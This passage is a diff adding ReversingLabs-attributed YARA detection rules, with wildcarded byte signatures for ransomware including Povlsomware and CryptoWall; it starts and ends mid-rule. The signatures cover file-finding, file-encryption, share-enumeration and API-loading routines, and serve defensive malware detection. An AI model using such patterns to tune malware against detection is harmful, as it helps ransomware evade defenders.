+            ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B F0 48 8B 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 49 83 FE ?? 0F 84 ?? ?? ?? ?? 41 BD ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 49
+            8B CE FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B F8 48 85 C0 0F 84 ?? ??
+            ?? ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 80
+            A5 ?? ?? ?? ?? ?? 0F B6 8D ?? ?? ?? ?? 80 E1 ?? 80 C9 ?? 88 8D ?? ?? ?? ?? 4C 8D 85
+            ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? ??
+            ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ??
+            BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 45 8B C1 48 8D
+            95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ??
+            ?? ?? ?? 33 D2 44 8D 42 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 44 8D 42 ?? 48
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 44 8D 42 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 48 8B DE 45 33 C9 45 33 C0 48 8B D6 49 8B CE FF 15 ?? ?? ?? ?? 48 8B 8D ?? ?? ??
+            ?? 48 81 F9 ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 F7 E9 48
+        }
+		$encrypt_files_p2 = {
+            8B FA 48 C1 FF ?? 48 8B C7 48 C1 E8 ?? 48 03 F8 48 85 FF 0F 8E ?? ?? ?? ?? 48 89 74
+            24 ?? 4C 8D 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 8B D7 49 8B CE FF 15 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? 89 44 24 ?? 4D 8B CF 4D 8B C7 48 8D 95 ?? ?? ?? ?? 33 C9 E8 ?? ?? ??
+            ?? 45 33 C9 45 33 C0 48 8B D3 49 8B CE FF 15 ?? ?? ?? ?? 48 89 74 24 ?? 4C 8D 8D ??
+            ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 8B D7 49 8B CE FF 15 ?? ?? ?? ?? 48 81 C3 ?? ?? ?? ??
+            45 33 C9 45 33 C0 48 8B D3 49 8B CE FF 15 ?? ?? ?? ?? 48 83 EF ?? 0F 85 ?? ?? ?? ??
+            E9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 83 78 ?? ?? 0F 8C ??
+            ?? ?? ?? 41 8B C6 48 8D 1C C5 ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 48 8B 0C 18 8B
+            04 0F 39 05 ?? ?? ?? ?? 7E ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ??
+            ?? 75 ?? 66 C7 05 ?? ?? 05 00 ?? ?? C6 05 ?? ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 74 ?? 80 35 ?? ??
+            ?? ?? ?? 80 35 ?? ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 48 8B
+            0C 18 8B 04 0F 39 05 ?? ?? ?? ?? 7E ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ??
+            ?? ?? ?? ?? 75 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D
+        }
+
+	condition:
+		uint16(0)==0x5A4D and (( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($enum_shares))
+}
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Povlsomware : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Povlsomware ransomware."
+		author = "ReversingLabs"
+		id = "317d7cca-4fe8-55ab-8f5f-e42be727ec26"
+		date = "2021-08-12"
+		modified = "2021-08-12"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Povlsomware.yara#L1-L64"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "465dc1b1d7e9eb3091f36efb51029cd3383d05ece054e814b18f379e58c7e457"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Povlsomware"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$setup_attack = {
+            7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ??
+            ?? ?? 73 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 2C ??
+            00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 8E 69 80 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ??
+            0C 16 0D 2B ?? 08 09 9A 13 ?? 00 7E ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 00 00 09 17 58 0D
+            09 08 8E 69 32 ?? 00 38 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06
+            ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 1A 6F ?? ?? ??
+            ?? 00 11 ?? 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ??
+            13 ?? 2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 00 11 ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00
+            DE ?? 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC
+            28 ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 2A
+        }
+		$find_files = {
+            02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ??
+            ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 00 06 6F ?? ?? ?? ?? 0C 2B ??
+            08 6F ?? ?? ?? ?? 0D 00 7E ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 00 00 08 6F ?? ?? ?? ?? 2D ??
+            DE ?? 08 2C ?? 08 6F ?? ?? ?? ?? 00 DC 02 28 ?? ?? ?? ?? 0B 00 07 13 ?? 16 13 ?? 38 ??
+            ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 00 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ??
+            6F ?? ?? ?? ?? 16 FE 01 2B ?? 16 13 ?? 11 ?? 2C ?? 00 11 ?? 03 28 ?? ?? ?? ?? 00 00 00
+            DE ?? 26 00 00 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 2A
+        }
+		$encrypt_files = {
+            00 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 06 2C ?? 2B ?? 02 28 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            6F ?? ?? ?? ?? 0B 07 2C ?? 2B ?? 02 28 ?? ?? ?? ?? 00 02 02 72 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 17 58 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 02 6F ?? ?? ??
+            ?? 00 7E ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 2A
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($setup_attack) and ($find_files) and ($encrypt_files)
+}
+import "pe"
+
+rule REVERSINGLABS_Win32_Ransomware_Cryptowall : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects CryptoWall ransomware."
+		author = "ReversingLabs"
+		id = "06d8b106-d69a-526a-8e16-c95d39eb2993"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.CryptoWall.yara#L3-L312"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "74baa04ee506732e0bb64a77cfd2d2216fcc978f13447ef07862e0116c093c14"
+		score = 75
+		quality = 88
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "CryptoWall"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$v30_entrypoint = {
+            55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 85 C0 0F 84 9A 00 00 00 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 7E C7 45 ?? ?? ?? ?? ??
+            8D 45 ?? 50 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 65 8B 4D ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2
+            E8 ?? ?? ?? ?? 8B 40 ?? A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0
+            75 19 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A
+            ?? 6A ?? E8 ?? ?? ?? ?? 8B 50 ?? FF D2 33 C0 8B E5 5D C2
+        }
+		$v20_entrypoint = {
+            55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 85 C0 0F 84 A3 00 00 00 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 85 83 00 00 00 C7 45 ??
+            ?? ?? ?? ?? 8D 45 ?? 50 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 6A 8B 4D ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 90 ?? ??
+            ?? ?? FF D2 E8 ?? ?? ?? ?? 8B 40 ?? A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 85 C0 75 19 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51
+            E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B 50 ?? FF D2 33 C0 8B E5 5D C2
+        }
+		$v30_api_load = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 50 01 00 00 8B 45 ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 34 01 00 00 B9 ?? ?? ?? ?? 6B D1 ?? 8B 45 ?? 8B 4D ?? 03 4C 10 ?? 89 4D ?? 8B
+            55 ?? 8B 45 ?? 03 42 ?? 89 45 ?? 8B 4D ?? 8B 55 ?? 03 51 ?? 89 55 ?? 8B 45 ?? 8B 4D ?? 03 48 ?? 89 4D ?? C7 45 ?? ?? ??
+            ?? ?? EB 09 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 8B 4D ?? 3B 48 ?? 0F 83 DA 00 00 00 8B 55 ?? 8B 45 ?? 8B 4D ?? 03 0C 90
+            51 E8 ?? ?? ?? ?? 83 C4 ?? 3B 45 ?? 0F 85 B7 00 00 00 BA ?? ?? ?? ?? 6B C2 ?? 8B 4D ?? 8B 54 01 ?? 8B 44 01 ?? 89 55 ??
+            89 45 ?? 8B 4D ?? 8B 55 ?? 0F B7 04 4A 8B 4D ?? 8B 14 81 3B 55 ?? 76 71 8B 45 ?? 8B 4D ?? 0F B7 14 41 8B 45 ?? 03 45 ??
+            8B 4D ?? 39 04 91 73 59 8B 55 ?? 8B 45 ?? 0F B7 0C 50 8B 55 ?? 8B 45 ?? 03 04 8A 89 45 ?? 74 3F 6A ?? 8B 4D ?? 51 E8 ??
+            ?? ?? ?? 83 C4 ?? 8B 55 ?? 8D 44 02 ?? 50 8D 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8D 45 ?? 50 6A ?? 8D 4D ??
+            51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 40 ?? FF D0 EB 16 8B 4D ?? 8B 55 ?? 0F B7 04 4A 8B 4D ?? 8B 55 ?? 03 14 81 89 55 ?? EB
+            05 E9 0E FF FF FF 8B 45 ?? 8B E5 5D C3
+        }
+		$v30_dll_load = {
+            55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 58 8B 45 ?? 8B 48 ?? 89 4D ?? 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45
+            ?? 8B 08 89 4D ?? 8B 55 ?? 3B 55 ?? 74 36 8B 45 ?? 89 45 ?? 8B 4D ?? 0F B7 51 ?? D1 EA 52 8B 45 ?? 8B 48 ?? 51 E8 ?? ??
+            ?? ?? 83 C4 ?? 3B 45 ?? 75 08 8B 55 ?? 8B 42 ?? EB 0C 8B 45 ?? 8B 08 89 4D ?? EB C2 33 C0 8B E5 5D C3
+        }
+		$v30_calculate_hash = {
+            55 8B EC 83 EC ?? 56 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 5E 83 7D ?? ?? 74 58 8B 45 ?? 89 45 ?? 8B 4D ?? 89 4D ?? 8B 55
+            ?? 83 EA ?? 89 55 ?? 83 7D ?? ?? 74 3D 8B 45 ?? 66 8B 08 66 89 4D ?? 8B 75 ?? C1 EE ?? 0F B7 55 ?? 52 E8 ?? ?? ?? ?? 83
+            C4 ?? 0F B7 C0 33 45 ?? 25 ?? ?? ?? ?? 33 34 85 ?? ?? ?? ?? 89 75 ?? 8B 4D ?? 83 C1 ?? 89 4D ?? EB AE 8B 45 ?? 83 F0 ??
+            5E 8B E5 5D C3
+        }
+		$v30_1_find_file_1 = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 47 02 00 00 E8 ?? ?? ?? ?? 89 45
+            ?? 83 7D ?? ?? 0F 84 32 02 00 00 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 8B 4D ?? 0F B7 54 41 ?? 83 FA ?? 74 16 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 68
+            ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ??
+            ?? 0F 84 B2 01 00 00 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 84 01 00
+            00 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 83 E2 ?? 0F 85 A0 00 00 00 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 85 C0 0F 85 80 00 00 00 8D 4D ?? 51 8B 55 ?? 83 C2 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 69 C7 45 ?? ?? ??
+            ?? ?? 8D 45 ?? 50 8B 4D ?? 83 C1 ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 47 8B 45 ?? 50 8B 4D ?? 8B 11 52 8B
+            45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 1C 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 ?? 8B 42 ?? 50 8B 4D ?? 51
+        }
+		$v30_1_find_file_2 = {
+            E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? EB 67 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75
+            54 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 8B 55 ?? 83 C2 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 32 8B 4D ?? 51 E8
+            ?? ?? ?? ?? 83 C4 ?? 85 C0 75 16 8B 55 ?? 52 8B 45 ?? 50 E8 30 FE FF FF 83 C4 ?? 03 45 ?? 89 45 ?? 8B 4D ?? 51 E8 ?? ??
+            ?? ?? 83 C4 ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 85 CE FE FF FF 8B 55 ?? 52 E8 ??
+            ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 7D ?? ?? 74 2E 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8B 55 ?? 52 E8 ?? ?? ?? ?? 83
+            C4 ?? 3D ?? ?? ?? ?? 74 0E 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 89 4D ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4
+            ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B E5 5D C3
+        }
+		$v30_2_find_file_1 = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 ( 3B | 3D ) 02 00 00 E8 ?? ?? ??
+            ?? 89 45 ?? 83 7D ?? ?? 0F 84 ( 26 | 28 ) 02 00 00 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 0F B7 54 41 ?? 83 FA ?? 74 16 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ??
+            ?? ?? ?? FF D1 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
+            89 45 ?? 83 7D ?? ?? 0F 84 ( A6 | A8 ) 01 00 00 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ??
+            83 7D ?? ?? 0F 84 ( 78 | 7A ) 01 00 00 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 83 E2 ?? 0F 85 94 00 00 00 C7 45 ?? ?? ?? ??
+            ?? 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 78 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 65 C7
+            45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 83 C0 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 43 8B 55 ?? 8B 02 50 8B
+        }
+		$v30_2_find_file_2 = {
+            4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 1C 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 8B 48 ?? 51 8B 55 ?? 52
+            E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB 67 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75
+            54 C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 83 C0 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 32 8B 55 ?? 52 E8
+            ?? ?? ?? ?? 83 C4 ?? 85 C0 75 16 8B 45 ?? 50 8B 4D ?? 51 E8 3C FE FF FF 83 C4 ?? 03 45 ?? 89 45 ?? 8B 55 ?? 52 E8 ?? ??
+            ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F 85 DA FE FF FF 8B 45 ?? 50 E8 ??
+            ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 83 7D ?? ?? 74 ( 2E | 30 ) 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 8B 45 ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 74 ( 0E | 10 ) 6A ?? [0-2] 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 89 55 ?? 8B 45 ??
+            50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B E5 5D C3
+        }
+		$v30_3_find_file_1 = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 7C 02 00 00 E8 ?? ?? ?? ?? 89 45
+            ?? 83 7D ?? ?? 0F 84 67 02 00 00 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 8B 4D ?? 0F B7 54 41 ?? 83 FA ?? 74 16 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 68
+            ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ??
+            ?? 0F 84 E7 01 00 00 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 B9 01 00
+            00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 91 00 00 00 8D 55
+            ?? 52 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 7A 8B 4D ?? 8B 11 83 E2 ?? 75 70 C7 45 ?? ?? ?? ?? ?? 8D 45
+            ?? 50 8B 4D ?? 83 C1 ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 49 8B 45 ?? 8B 48 ?? 51 8B 55 ?? 52 8B 45 ?? 8B
+        }
+		$v30_3_find_file_2 = {
+            08 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 1C 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 88 00 00 00 8B 55 ?? 8B 02 83 E0 ?? 74 7E 8B 4D ?? 83 79 ?? ??
+            74 75 8B 55 ?? 83 C2 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 62 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 83 C1 ?? 51 8B
+            55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 40 8B 45 ?? 50 8B 4D ?? 8B 51 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 1D 8B 45
+            ?? 50 8B 4D ?? 51 E8 15 FE FF FF 83 C4 ?? 85 C0 74 09 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B
+            4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 0F 85 AC FE FF FF 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ??
+            ?? ?? ?? FF D2 8B 45 ?? 50 8B 4D ?? 8B 51 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 74 2E 8B 45 ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 74 0E 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 89
+            45 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B E5 5D C3
+        }
+		$v20_1_encrypt_file_1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 56 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 99 05 00 00 8B 45 ??
+            83 38 ?? 74 1B 8B 4D ?? 83 79 ?? ?? 74 12 8B 55 ?? 83 7A ?? ?? 74 09 8B 45 ?? 83 78 ?? ?? 75 08 8B 45 ?? E9 6E 05 00 00
+            8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 89 45 ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ??
+            ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 F4 04 00 00 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B
+            4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? 66 0F 57 C0 66 0F 13 45 ?? 8D 45 ?? 50
+            8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 E7 03 00 00 66 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? 6A ?? 6A ??
